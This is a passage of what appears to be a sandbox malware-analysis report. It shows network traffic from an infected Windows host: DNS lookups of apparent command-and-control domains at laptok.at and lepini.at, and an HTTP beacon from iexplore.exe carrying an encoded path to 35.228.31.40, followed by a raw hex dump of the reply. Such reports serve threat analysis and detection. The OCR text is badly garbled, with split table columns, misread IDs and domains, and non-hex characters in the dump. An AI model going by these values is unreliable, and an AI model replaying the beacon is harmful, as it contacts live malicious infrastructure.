Feb 12, 2021 01:47:07.867635012 CET 443 49733 87.248.118.23 192.168.2.4
Feb 12, 2021 01:47:07.867738962 CET 49733 443 192.168.2.4 87.248.118.23
Feb 12, 2021 01:47:07.868602991 CET 49733 443 192.168.2.4 87.248.118.23
Feb 12, 2021 01:47:07.879539967 CET 49736 443 192.168.2.4 151.101.1.44
Feb 12, 2021 01:47:07.883949041 CET 49734 443 192.168.2.4 151.101.1.44
Feb 12, 2021 01:47:07.906148911 CET 443 49739 151.101.1.44 192.168.2.4
Feb 12, 2021 01:47:07.906196117 CET 443 49735 151.101.1.44 192.168.2.4
Feb 12, 2021 01:47:07.906614065 CET 443 49738 151.101.1.44 192.168.2.4
Feb 12, 2021 01:47:07.906738043 CET 443 49737 151.101.1.44 192.168.2.4
Feb 12, 2021 01:47:07.906867981 CET 443 49739 151.101.1.44 192.168.2.4
Feb 12, 2021 01:47:07.906912088 CET 443 49739 151.101.1.44 192.168.2.4
Feb 12, 2021 01:47:07.906945944 CET 443 49739 151.101.1.44 192.168.2.4
Feb 12, 2021 01:47:07.906945944 CET 49739 443 192.168.2.4 151.101.1.44
Feb 12, 2021 01:47:07.906989098 CET 49739 443 192.168.2.4 151.101.1.44
Feb 12, 2021 01:47:07.906994104 CET 49739 443 192.168.2.4 151.101.1.44
Feb 12, 2021 01:47:07.907035112 CET 443 49735 151.101.1.44 192.168.2.4
Feb 12, 2021 01:47:07.907073021 CET 443 49735 151.101.1.44 192.168.2.4
Feb 12, 2021 01:47:07.907090902 CET 49735 443 192.168.2.4 151.101.1.44
Feb 12, 2021 01:47:07.907108068 CET 443 49735 151.101.1.44 192.168.2.4
Feb 12, 2021 01:47:07.907125950 CET 49735 443 192.168.2.4 151.101.1.44
Feb 12, 2021 01:47:07.907149076 CET 49735 443 192.168.2.4 151.101.1.44
Feb 12, 2021 01:47:07.907598972 CET 443 49738 151.101.1.44 192.168.2.4
Feb 12, 2021 01:47:07.907649994 CET 443 49738 151.101.1.44 192.168.2.4
Feb 12, 2021 01:47:07.907691956 CET 49738 443 192.168.2.4 151.101.1.44
Feb 12, 2021 01:47:07.907733917 CET 49738 443 192.168.2.4 151.101.1.44
Feb 12, 2021 01:47:07.907742023 CET 443 49738 151.101.1.44 192.168.2.4

UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP
Feb 12, 2021 01:47:00.364090919 CET 62286 53 192.168.2.4 8.8.8.8
Feb 12, 2021 01:47:00.425414085 CET 53 62286 8.8.8.8 192.168.2.4
Feb 12, 2021 01:47:01.284912109 CET 65195 53 192.168.2.4 8.8.8.8
Feb 12, 2021 01:47:01.344284058 CET 53 65195 8.8.8.8 192.168.2.4
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Timestamp Source Port Dest Port Source IP Dest IP

Feb 12, 2021 01:47:01.565716028 CET 59042 53 192.168.2.4 8.8.8.8
Feb 12, 2021 01:47:01.625843048 CET 53 59042 8.8.8.8 192.168.2.4
Feb 12, 2021 01:47:01.994728088 CET 56483 53 192.168.2.4 8.8.8.8
Feb 12, 2021 01:47:02.015269995 CET 51025 53 192.168.2.4 8.8.8.8
Feb 12, 2021 01:47:02.059798002 CET 53 56483 8.8.8.8 192.168.2.4
Feb 12, 2021 01:47:02.073493004 CET 53 51025 8.8.8.8 192.168.2.4
Feb 12, 2021 01:47:03.635760069 CET 61516 53 192.168.2.4 8.8.8.8
Feb 12, 2021 01:47:03.710735083 CET 53 61516 8.8.8.8 192.168.2.4
Feb 12, 2021 01:47:03.906444073 CET 49182 53 192.168.2.4 8.8.8.8
Feb 12, 2021 01:47:03.955038071 CET 53 49182 8.8.8.8 192.168.2.4
Feb 12, 2021 01:47:03.979238987 CET 59920 53 192.168.2.4 8.8.8.8
Feb 12, 2021 01:47:04.050385952 CET 53 59920 8.8.8.8 192.168.2.4
Feb 12, 2021 01:47:05.029134035 CET 57458 53 192.168.2.4 8.8.8.8
Feb 12, 2021 01:47:05.096091986 CET 53 57458 8.8.8.8 192.168.2.4
Feb 12, 2021 01:47:05.795938969 CET 50579 53 192.168.2.4 8.8.8.8
Feb 12, 2021 01:47:05.864603996 CET 53 50579 8.8.8.8 192.168.2.4
Feb 12, 2021 01:47:06.326078892 CET 51703 53 192.168.2.4 8.8.8.8
Feb 12, 2021 01:47:06.384717941 CET 53 51703 8.8.8.8 192.168.2.4
Feb 12, 2021 01:47:06.619769096 CET 65248 53 192.168.2.4 8.8.8.8
Feb 12, 2021 01:47:06.678131104 CET 53 65248 8.8.8.8 192.168.2.4
Feb 12, 2021 01:47:07.606296062 CET 53723 53 192.168.2.4 8.8.8.8
Feb 12, 2021 01:47:07.625605106 CET 64646 53 192.168.2.4 8.8.8.8
Feb 12, 2021 01:47:07.655306101 CET 53 53723 8.8.8.8 192.168.2.4
Feb 12, 2021 01:47:07.682765961 CET 53 64646 8.8.8.8 192.168.2.4
Feb 12, 2021 01:47:09.692598104 CET 65298 53 192.168.2.4 8.8.8.8
Feb 12, 2021 01:47:09.743731022 CET 53 65298 8.8.8.8 192.168.2.4
Feb 12, 2021 01:47:30.328049898 CET 59123 53 192.168.2.4 8.8.8.8
Feb 12, 2021 01:47:30.388215065 CET 53 59123 8.8.8.8 192.168.2.4
Feb 12, 2021 01:47:31.046531916 CET 54531 53 192.168.2.4 8.8.8.8
Feb 12, 2021 01:47:31.106641054 CET 53 54531 8.8.8.8 192.168.2.4
Feb 12, 2021 01:47:31.333369970 CET 59123 53 192.168.2.4 8.8.8.8
Feb 12, 2021 01:47:31.390448093 CET 53 59123 8.8.8.8 192.168.2.4
Feb 12, 2021 01:47:31.521361113 CET 49714 53 192.168.2.4 8.8.8.8
Feb 12, 2021 01:47:31.570075035 CET 53 49714 8.8.8.8 192.168.2.4
Feb 12, 2021 01:47:32.080183029 CET 54531 53 192.168.2.4 8.8.8.8
Feb 12, 2021 01:47:32.140381098 CET 53 54531 8.8.8.8 192.168.2.4
Feb 12, 2021 01:47:32.596908092 CET 59123 53 192.168.2.4 8.8.8.8
Feb 12, 2021 01:47:32.653915882 CET 53 59123 8.8.8.8 192.168.2.4
Feb 12, 2021 01:47:33.090537071 CET 54531 53 192.168.2.4 8.8.8.8
Feb 12, 2021 01:47:33.153295994 CET 53 54531 8.8.8.8 192.168.2.4
Feb 12, 2021 01:47:33.851422071 CET 58028 53 192.168.2.4 8.8.8.8
Feb 12, 2021 01:47:33.900324106 CET 53 58028 8.8.8.8 192.168.2.4
Feb 12, 2021 01:47:34.602392912 CET 59123 53 192.168.2.4 8.8.8.8
Feb 12, 2021 01:47:34.660726070 CET 53 59123 8.8.8.8 192.168.2.4
Feb 12, 2021 01:47:34.951616049 CET 53097 53 192.168.2.4 8.8.8.8
Feb 12, 2021 01:47:35.003283024 CET 53 53097 8.8.8.8 192.168.2.4
Feb 12, 2021 01:47:35.103874922 CET 54531 53 192.168.2.4 8.8.8.8
Feb 12, 2021 01:47:35.156644106 CET 53 54531 8.8.8.8 192.168.2.4
Feb 12, 2021 01:47:36.487644911 CET 49257 53 192.168.2.4 8.8.8.8
Feb 12, 2021 01:47:36.536304951 CET 53 49257 8.8.8.8 192.168.2.4
Feb 12, 2021 01:47:37.528908014 CET 62389 53 192.168.2.4 8.8.8.8
Feb 12, 2021 01:47:37.588789940 CET 53 62389 8.8.8.8 192.168.2.4
Feb 12, 2021 01:47:38.612901926 CET 59123 53 192.168.2.4 8.8.8.8
Feb 12, 2021 01:47:38.634602070 CET 49910 53 192.168.2.4 8.8.8.8
Feb 12, 2021 01:47:38.670018911 CET 53 59123 8.8.8.8 192.168.2.4
Feb 12, 2021 01:47:38.683402061 CET 53 49910 8.8.8.8 192.168.2.4
Feb 12, 2021 01:47:39.114711046 CET 54531 53 192.168.2.4 8.8.8.8
Feb 12, 2021 01:47:39.174766064 CET 53 54531 8.8.8.8 192.168.2.4
Feb 12, 2021 01:47:39.974467039 CET 55854 53 192.168.2.4 8.8.8.8
Feb 12, 2021 01:47:40.026135921 CET 53 55854 8.8.8.8 192.168.2.4
Feb 12, 2021 01:47:41.045123100 CET 64549 53 192.168.2.4 8.8.8.8
Feb 12, 2021 01:47:41.113461971 CET 53 64549 8.8.8.8 192.168.2.4
Feb 12, 2021 01:47:42.074331999 CET 63153 53 192.168.2.4 8.8.8.8
Feb 12, 2021 01:47:42.132729053 CET 53 63153 8.8.8.8 192.168.2.4
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Timestamp Source Port Dest Port Source IP Dest IP

Feb 12, 2021 01:47:43.159709930 CET 52991 53 192.168.2.4 8.8.8.8

Feb 12, 2021 01:47:43.210843086 CET 53 52991 8.8.8.8 192.168.2.4

Feb 12, 2021 01:47:44.234641075 CET 53700 53 192.168.2.4 8.8.8.8

Feb 12, 2021 01:47:44.286366940 CET 53 53700 8.8.8.8 192.168.2.4

Feb 12, 2021 01:47:45.301829100 CET 51726 53 192.168.2.4 8.8.8.8

Feb 12, 2021 01:47:45.353522062 CET 53 51726 8.8.8.8 192.168.2.4

Feb 12, 2021 01:47:46.534862041 CET 56794 53 192.168.2.4 8.8.8.8

Feb 12, 2021 01:47:46.586219072 CET 53 56794 8.8.8.8 192.168.2.4

Feb 12, 2021 01:47:47.175636053 CET 56534 53 192.168.2.4 8.8.8.8

Feb 12, 2021 01:47:47.234330893 CET 53 56534 8.8.8.8 192.168.2.4

Feb 12, 2021 01:47:47.666733027 CET 56627 53 192.168.2.4 8.8.8.8

Feb 12, 2021 01:47:47.718324900 CET 53 56627 8.8.8.8 192.168.2.4

Feb 12, 2021 01:47:48.794568062 CET 56621 53 192.168.2.4 8.8.8.8

Feb 12, 2021 01:47:48.843529940 CET 53 56621 8.8.8.8 192.168.2.4

Feb 12, 2021 01:47:50.191190958 CET 63116 53 192.168.2.4 8.8.8.8

Feb 12, 2021 01:47:50.248228073 CET 53 63116 8.8.8.8 192.168.2.4

Feb 12, 2021 01:47:51.289062977 CET 64078 53 192.168.2.4 8.8.8.8

Feb 12, 2021 01:47:51.349013090 CET 53 64078 8.8.8.8 192.168.2.4

Feb 12, 2021 01:47:52.424865961 CET 64801 53 192.168.2.4 8.8.8.8

Feb 12, 2021 01:47:52.473594904 CET 53 64801 8.8.8.8 192.168.2.4

Feb 12, 2021 01:47:53.545249939 CET 61721 53 192.168.2.4 8.8.8.8

Feb 12, 2021 01:47:53.593975067 CET 53 61721 8.8.8.8 192.168.2.4

Feb 12, 2021 01:47:54.618580103 CET 51255 53 192.168.2.4 8.8.8.8

Feb 12, 2021 01:47:54.671813011 CET 53 51255 8.8.8.8 192.168.2.4

Feb 12, 2021 01:48:00.255012035 CET 61522 53 192.168.2.4 8.8.8.8

Feb 12, 2021 01:48:00.661688089 CET 53 61522 8.8.8.8 192.168.2.4

Feb 12, 2021 01:48:03.436378002 CET 52337 53 192.168.2.4 8.8.8.8

Feb 12, 2021 01:48:03.830491066 CET 53 52337 8.8.8.8 192.168.2.4

Feb 12, 2021 01:48:06.895785093 CET 55046 53 192.168.2.4 8.8.8.8

Feb 12, 2021 01:48:06.953541040 CET 53 55046 8.8.8.8 192.168.2.4

Feb 12, 2021 01:50:10.512964010 CET 49612 53 192.168.2.4 8.8.8.8

Feb 12, 2021 01:50:10.728384972 CET 49285 53 192.168.2.4 8.8.8.8

Feb 12, 2021 01:50:10.777154922 CET 53 49285 8.8.8.8 192.168.2.4

Feb 12, 2021 01:50:10.901073933 CET 53 49612 8.8.8.8 192.168.2.4

Feb 12, 2021 01:50:10.907104969 CET 50601 53 192.168.2.4 8.8.8.8

Feb 12, 2021 01:50:10.958833933 CET 53 50601 8.8.8.8 192.168.2.4

Feb 12, 2021 01:50:10.988004923 CET 60875 53 192.168.2.4 8.8.8.8

Feb 12, 2021 01:50:11.045125008 CET 53 60875 8.8.8.8 192.168.2.4

Feb 12, 2021 01:50:11.749787092 CET 56448 53 192.168.2.4 8.8.8.8

Feb 12, 2021 01:50:11.800775051 CET 53 56448 8.8.8.8 192.168.2.4

Feb 12, 2021 01:50:12.551882982 CET 59172 53 192.168.2.4 8.8.8.8

Feb 12, 2021 01:50:12.608894110 CET 53 59172 8.8.8.8 192.168.2.4

Feb 12, 2021 01:50:13.599351883 CET 62420 53 192.168.2.4 8.8.8.8

Feb 12, 2021 01:50:14.035474062 CET 53 62420 8.8.8.8 192.168.2.4

Feb 12, 2021 01:50:25.557796955 CET 60579 53 192.168.2.4 8.8.8.8

Feb 12, 2021 01:50:25.619008064 CET 53 60579 8.8.8.8 192.168.2.4

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Feb 12, 2021 01:47:01.565716028 CET 192.168.2.4 8.8.8.8 Oxb0ac Standard query  www.msn.com A (IP address) IN (0x0001)
(0)

Feb 12, 2021 01:47:03.635760069 CET 192.168.2.4 8.8.8.8 0xf373 Standard query  web.vortex A (IP address) IN (0x0001)
(0) .data.msn.com

Feb 12, 2021 01:47:03.906444073 CET 192.168.2.4 8.8.8.8 0x1439 Standard query  geolocatio A (IP address) IN (0x0001)
(0) n.onetrust.com

Feb 12, 2021 01:47:03.979238987 CET 192.168.2.4 8.8.8.8 0xa096 Standard query  contextual A (IP address) IN (0x0001)
(0) .media.net

Feb 12, 2021 01:47:05.029134035 CET 192.168.2.4 8.8.8.8 Oxda75 Standard query  Ig3.media.net A (IP address) IN (0x0001)
(0)

Feb 12, 2021 01:47:05.795938969 CET 192.168.2.4 8.8.8.8 0x86d2 Standard query  hblg.media.net A (IP address) IN (0x0001)
(0)

Feb 12, 2021 01:47:06.326078892 CET 192.168.2.4 8.8.8.8 0x5e32 Standard query  cvision.media.net A (IP address) IN (0x0001)
(0)

Feb 12, 2021 01:47:06.619769096 CET 192.168.2.4 8.8.8.8 0xfdb5 Standard query  srtb.msn.com A (IP address) IN (0x0001)

)
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Timestamp

Feb 12, 2021 01:47:07.606296062 CET

Feb 12, 2021 01:47:07.625605106 CET

Feb 12, 2021 01:48:00.255012035 CET

Feb 12, 2021 01:48:03.436378002 CET

Feb 12, 2021 01:48:06.895785093 CET

Feb 12, 2021 01:50:10.512964010 CET

Feb 12, 2021 01:50:10.728384972 CET

Feb 12, 2021 01:50:10.907104969 CET

Feb 12, 2021 01:50:10.988004923 CET

Feb 12, 2021 01:50:11.749787092 CET

Feb 12, 2021 01:50:12.551882982 CET

Feb 12, 2021 01:50:13.599351883 CET

Feb 12, 2021 01:50:25.557796955 CET

DNS Answers

Timestamp Source IP

Feb 12, 2021 8.8.8.8
01:47:01.625843048
CET

Feb 12, 2021 8.8.8.8
01:47:03.710735083
CET

Feb 12, 2021 8.8.8.8
01:47:03.955038071
CET

Feb 12, 2021 8.8.8.8
01:47:03.955038071
CET

Feb 12, 2021 8.8.8.8
01:47:04.050385952
CET

Feb 12, 2021 8.8.8.8
01:47:05.096091986
CET

Feb 12, 2021 8.8.8.8
01:47:05.864603996
CET

Feb 12, 2021 8.8.8.8
01:47:06.384717941
CET

Feb 12, 2021 8.8.8.8
01:47:06.678131104
CET

Feb 12, 2021 8.8.8.8
01:47:06.678131104
CET

Feb 12, 2021 8.8.8.8
01:47:07.655306101
CET

Feb 12, 2021 8.8.8.8
01:47:07.655306101
CET

Feb 12, 2021 8.8.8.8
01:47:07.655306101
CET

Feb 12, 2021 8.8.8.8
01:47:07.655306101
CET

Feb 12, 2021 8.8.8.8
01:47:07.655306101
CET

Copyright null 2021

Dest IP
192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

Source IP

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

Trans ID

OxbOac

0xf373

0x1439

0x1439

0xa096

Oxda75

0x86d2

0x5e32

Oxfdb5

Oxfdb5

0xb293

0xb293

0xb293

0xb293

0xb293

Dest IP
8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Trans ID

0xb293

0x290f

Oox2fa7

0xb136

0xf0e6

0x18e0

0x46f8

Oxf5ac

0x2909

0x3422

Oxf7f7

0xd3f

0x88b

Name

www.msn.com

web.vortex
.data.msn.com

geolocatio
n.onetrust.com

geolocatio
n.onetrust.com

contextual
.media.net

Ig3.media.net

hblg.media.net

cvision.me
dia.net

srth.msn.com

www.msn.com

img.img-ta
boola.com

tls13.tabo
ola.map.fa
stly.net

tls13.tabo
ola.map.fa
stly.net

tls13.tabo
ola.map.fa
stly.net
tls13.tabo

ola.map.fa
stly.net

OP Code Name
Standard query  img.img-ta

(0) boola.com
Standard query  s.yimg.com
(0)

Standard query  apil0.laptok.at
(0)

Standard query  apil0.laptok.at
(0)

Standard query  apil0.laptok.at
(0)

Standard query  c56.lepini.at
(0)

Standard query  resolverl.

0) opendns.com

Standard query  resolverl.
(0) opendns.com

Standard query  api3.lepini.at
(0)
Standard query  api3.lepini.at
(0)
Standard query  api3.lepini.at
(0)
Standard query  api3.lepini.at
(0)
Standard query  api3.lepini.at
(0)

CName Address
www-msn-com.a-0003.a-

msedge.net

web.vortex.data.microsoft
.com

104.20.185.68

104.20.184.68

184.30.24.22
184.30.24.22
184.30.24.22
cvision.media.net.edgeke
y.net
WWW.msh.com
www-msn-com.a-0003.a-
msedge.net
tls13.taboola.map.fastly.n
et
151.101.1.44

151.101.65.44

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Type
CNAME
(Canonical
name)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)
CNAME
(Canonical
name)
CNAME
(Canonical
name)
CNAME
(Canonical
name)

A (IP address)

A (IP address)

151.101.129.44 A (IP address)

151.101.193.44 A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Feb 12, 2021 8.8.8.8 192.168.2.4 0x290f No error (0) s.yimg.com edge.gycpi.b.yahoodns.n CNAME IN (0x0001)
01:47:07.682765961 et (Canonical
CET name)

Feb 12, 2021 8.8.8.8 192.168.2.4 0x290f No error (0) edge.gycpi 87.248.118.23 A (IP address)  IN (0x0001)
01:47:07.682765961 .b.yahoodns.net
CET

Feb 12, 2021 8.8.8.8 192.168.2.4 0x290f No error (0) edge.gycpi 87.248.118.22 A (IP address)  IN (0x0001)
01:47:07.682765961 .b.yahoodns.net
CET

Feb 12, 2021 8.8.8.8 192.168.2.4 Ox2fa7 No error (0) apil0.laptok.at 35.228.31.40 A (IP address)  IN (0x0001)
01:48:00.661688089
CET

Feb 12, 2021 8.8.8.8 192.168.2.4 0xb136 No error (0) apil0.laptok.at 35.228.31.40 A (IP address)  IN (0x0001)
01:48:03.830491066
CET

Feb 12, 2021 8.8.8.8 192.168.2.4 0xfOe6 No error (0) apil0.laptok.at 35.228.31.40 A (IP address)  IN (0x0001)
01:48:06.953541040
CET

Feb 12, 2021 8.8.8.8 192.168.2.4 0x46f8 No error (0) resolverl. 208.67.222.222 A (IP address)  IN (0x0001)
01:50:10.777154922 opendns.com
CET

Feb 12, 2021 8.8.8.8 192.168.2.4 0x18e0 No error (0) c56.lepini.at 35.228.31.40 A (IP address)  IN (0x0001)
01:50:10.901073933
CET

Feb 12, 2021 8.8.8.8 192.168.2.4 Oxf5ac No error (0) resolverl. 208.67.222.222 A (IP address)  IN (0x0001)
01:50:10.958833933 opendns.com
CET

Feb 12, 2021 8.8.8.8 192.168.2.4 0x2909 No error (0) api3.lepini.at 35.228.31.40 A (IP address)  IN (0x0001)
01:50:11.045125008
CET

Feb 12, 2021 8.8.8.8 192.168.2.4 0x3422 No error (0) api3.lepini.at 35.228.31.40 A (IP address)  IN (0x0001)
01:50:11.800775051
CET

Feb 12, 2021 8.8.8.8 192.168.2.4 Oxf7f7 No error (0) api3.lepini.at 35.228.31.40 A (IP address)  IN (0x0001)
01:50:12.608894110
CET

Feb 12, 2021 8.8.8.8 192.168.2.4 Oxd3f No error (0) api3.lepini.at 35.228.31.40 A (IP address)  IN (0x0001)
01:50:14.035474062
CET

Feb 12, 2021 8.8.8.8 192.168.2.4 0x88b No error (0) api3.lepini.at 35.228.31.40 A (IP address)  IN (0x0001)
01:50:25.619008064
CET

HTTP Request Dependency Graph

e apil0.laptok.at

e c56.lepini.at

e api3.lepini.at

HTTP Packets

Session ID Source IP Source Port Destination IP Destination Port Process
0 192.168.2.4 49762 35.228.31.40 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe
kBytes
Timestamp transferred Direction Data
Feb 12, 2021 3008 ouT GET /apil/lgORGWS5qFn_2FL/FIQCKOWAHI3Hiwfkv_2Bd/YD_2BI2Xw2AGWng8/expfsroDYWZ8_2B/ZGfgnzwsY_
01:48:00.766551018 CET 2FSQ_2F3/a2GGZduez/SqOtvGRODRINXK4_2F3R/2gP8hWIKAYYweque45¢/mmolQCYZVFeP5qFtRQW3rp/ESP8Dg0

JYvida/zzwdg1Ba/kVPhJOIEUKXVInZ6TixGPu4/gqcL2pxbRo/OD4R3VULXHITB9ksT/J7YsghyQco_2/BonnsCX3
QSg/e_2FIgvYSOP02Q/dsGMQxaYUUX012u0t5_2F/50UM82sSS5a5iW39/tnrjay9bJzCbz3PtHnh/d HTTP/1.1
Accept: text/html, application/xhtml+xml, image/jxr, */*

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Host: apil0.laptok.at

Connection: Keep-Alive
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kBytes
Timestamp transferred

Feb 12, 2021 3009
01:48:01.264964104 CET

Session ID Source IP
1 192.168.2.4

kBytes
Timestamp transferred
Feb 12, 2021 3223

01:48:01.687486887 CET

Feb 12, 2021 3224
01:48:01.775217056 CET

Session ID Source IP

10 192.168.2.4
kBytes

Timestamp transferred

Copyright null 2021

Direction

IN

Source Port

49763

Direction

ouT

Source Port

49775

Direction

Data

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 12 Feb 2021 00:48:01 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

Strict-Transport-Security: max-age=63072000; includeSubdomains

X-Content-Type-Options: nosniff

Content-Encoding: gzip

Data Raw: 32 30 30 30 0d Oa 1f 8b 08 00 00 00 00 00 00 03 14 9b 35 92 e4 00 10 04 1f 24 43 4c a6 18 47 cc 9e 98 99 f5
fa db 73 27 36 46 31 ea ee aa 4c 63 4d 67 3a f4 21 1e 6d c3 9e bb fb 5b 4a 92 c2 7f 89 cb bb a7 60 4b 27 c2 42 e5 50 d2
1b 73 10 9a 1b de 8d 61 7e 09 26 10 d1 f5 60 7c ce f3 €9 Of f4 bc fc dc 59 7e 45 72 48 3a da a3 20 70 38 71 bd 97 2e b5
a9 80 d4 8f 49 55 68 51 82 37 10 a0 5e da d7 41 4e d4 75 0d 45 Oe 82 d4 01 24 c3 b2 9b 05 4e d7 2d eb 27 55 cb 44 1f bb
de ad 3f ba 47 ff 3e 5b 9¢ 11 e7 bc 23 06 b4 fd 93 9e ad f5 ca a7 e2 al 62 75 76 60 14 98 fd 30 4c 5f 6b bf 36 14 f7 94 cO
e8 8a 65 2d 7f 8e 07 61 ca 34 82 52 be ce b0 c0 8f 57 al 55 7c a3 fc d3 d0 82 bb 0Of 24 9e d5 19 59 22 1c 5f 0f 26 94 d3
07 02 19 16 7d 23 ae 43 7f 66 Oc 74 97 8a fa 37 4e 09 a6 8a 67 ae 94 e3 a4 87 44 22 c2 a8 dd 8f 4e 9c c3 3a 37 0d 49 fd
64 84 a6 3 27 95 ¢3 2f 05 6¢ f4 Oe 38 63 63 ad 3 4¢c 7b 07 93 f6 0d 17 f6 45 b3 21 7e b2 58 4a 83 6a c2 91 4e e5 f9 50 54
Oe d4 02 bf a3 df 81 de 72 36 62 f2 84 f2 98 31 8d 9f d3 d0 43 19 c1 ad 27 c0 24 7b 3e 4b 4f ce ee e4 33 52 f6 35 7d f9 f5
af 73 5f 02 67 2e 83 27 cd ac 3a 8b 40 cd fb 8a 1c 51 ea 86 a6 e7 3a 99 Oa d3 7b 09 a0 bl 6a 7c c4 27 76 a4 9e 9b e8 46
0d ab b2 12 d6 77 6e dd b2 b6 50 a4 3d e7 d9 e7 3d 10 d1 be 17 ab b3 9e d9 a2 27 c¢6 77 Ob 79 41 95 04 41 10 8b €3 77
49 5d 4b 14 45 a5 €9 5e ab bb b3 90 86 82 5d 7b fd 2d c6 e7 e2 al 43 79 e8 a6 6f c1 82 27 07 fa 6a d6 86 c9 d9 4f b5 ac
1529 cc aa a4 18 80 12 c9 ee 25 0d d1 bc c1 9b 1e 49 3d f5 7b 3d db 18 49 65 64 70 58 6e 63 1f 3a 5b 78 e6 36 2e 92 93
92 47 c1 a9 c6 e7 31 59 39 fa cl 7c df e3 Oc 9c 56 6a 59 2b ca 43 5f 77 5e 37 1a f0 80 5e e6 ba be 28 dd 1c 84 bc 4a 1e
ac ca 82 1d 6f 93 27 6b c0 e4 34 99 0f 95 9¢c 07 2a f9 73 83 44 59 de c6 dd 85 32 0e b0 f6 81 9c 97 9f cb 67 34 40 57 3¢
92 e4 ee 1f 3a 28 f2 cd cf a5 ec a4 99 5f 27 ce 6a 17 7d b8 3f 53 cc 11 6b 10 32 a7 06 d2 03 3f 71 d4 89 26 66 15 71 c0 el
14 64 21 b9 4d 8e 61 3a ed 7a cc 48 d9 57 26 94 e4 90 97 47 8b f9 6¢ 91 Ob 60 bf 15 50 €8 f0 ed 60 a0 ed d7 70 b6 05 f4
5 1a 4c 63 b4 a3 a4 c9 4a d7 dc d7 b0 10 e5 e2 c0 b2 5f 40 b0 84 e0 86 d9 11 79 fe db 4d 62 11 d3 66 17 9c 48 4f 40 91
c9 e6 6d 2b ad ac d3 8b a4 62 f1 89 e3 93 4c b3 ea 2f 72 32 ¢5 5a 7b a9 0f 96 70 eb 58 bb 60 a6 fc 17 8b dO 4c 2e 31 6a
bd 55 74 89 b8 f9 a0 32 f3 1d 12 9¢ 57 7e al f7 19 84 f0 2a cd f5 Oe ee e7 69 3d 94 ca 0d bb cb da 9c e4 8e 46 cc 8b 6a
1b 0d 1a b9 bf 5a 6b 29 79 3f 03 af 30 70 54 8d fb Oc 36 55 7a 94 62 15 6b 61 7a 9a 88 €8 63 5¢c al la ba ce 54 1e 4d 77
84 d7 b2 87 b9 cd 38 11 65 da 3a 80 5f Of ff 32 95 8 a8 9d 8f 45 cf 2b 99 f9 f3 af bd 4a 2c ¢3 dd 58 e0 35 39 7f d6 95 9b al
a5 clf4 cc 19 02 7e 73 52 63 d7 23 f9 f8 8e 50 af Of ¢5 34 11 ac 3b 43 46 6f ae ad 2c 9a 36 19 89 6e 03 d7 bd fa d9 d9 ae
5a52 12 el 6b 7b 57 f0 8d aa 3e 01 fa c9 5e 06 2c fb a9 48 ca 7c 27 7a 8a Oc 5e bb 2a 26 {7 c8 e7 ce {7 63 42 71 50 b4
2098 bc ed fb a4 e4 99 29 88 7a dc 71 Oc b3 92 79 c8 f3 77 €8 ff a6 bb b0 4a 76 11 f2 8f 32 ef 42 a2 3a 71 f3 ef 48 12 70
c4 37 bl 9f ea 77 8 48 6f 8a bb 05 28 d6 a4 87 b9 42 60 b2 fe 08 c0 62 9c cO el 15 e0 ad 5a 54 55

Data Ascii: 20005$CLGs'6F1LcMg:!m[J K'BPsa~& |Y~ErH: p8q.lUhQ7*ANUE$N-'UD?G>[#buv OL_k6e-a4dRWU|$Y"_&
J#HCH7NgD"N:71d"/I8ccL{E!~XJNPTréb1C'${>KO3R5}s_g.:@Q:{j|'vVFwnP=="wyAAwI]KE"|{-Cy0'jO)%I={=ledpXnc:[x6.G1Y9|
VjY+C_w"77(Jo'k4*sDY2g4@W<:(_'j}?Sk2?q&fqd!Ma:zHW&GI'P pLc]_@yMbfHO@m+bL/r2Z{pX L.1jUt2W~*i=FjZk)y?0
pT6Uzbkazc\TMw8e:_2E+J,X59~sRc#P4;CFo,6nZRk{W>"H|'z"*&cBgP )zqywJv2B:qHp7wHo(B'bZTU

Destination IP Destination Port Process

35.228.31.40 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /favicon.ico HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: apil0.laptok.at

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Server: nginx

Date: Fri, 12 Feb 2021 00:48:01 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Content-Encoding: gzip

Data Raw: 36 61 0d Oa 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd bl e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2¢ c9 49 b5 33
